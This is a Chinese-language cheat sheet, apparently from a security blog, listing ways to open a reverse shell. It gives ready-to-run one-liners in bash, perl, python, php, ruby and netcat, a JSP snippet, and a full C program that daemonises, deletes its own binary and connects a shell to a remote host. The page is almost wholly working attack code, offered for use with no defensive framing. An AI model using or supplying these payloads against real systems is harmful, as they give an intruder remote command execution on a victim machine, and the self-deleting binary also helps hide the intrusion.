反弹shell的几种方法

bash

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$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

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perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

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php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

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$ nc -e /bin/sh 10.0.0.1 1234

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$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
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$ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

jsp

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r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

C

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#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]); // host
sin.sin_port = htons(atoi(argv[2])); // port
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}

ssh转发流量的四种姿势 反汇编技术笔记-基础知识
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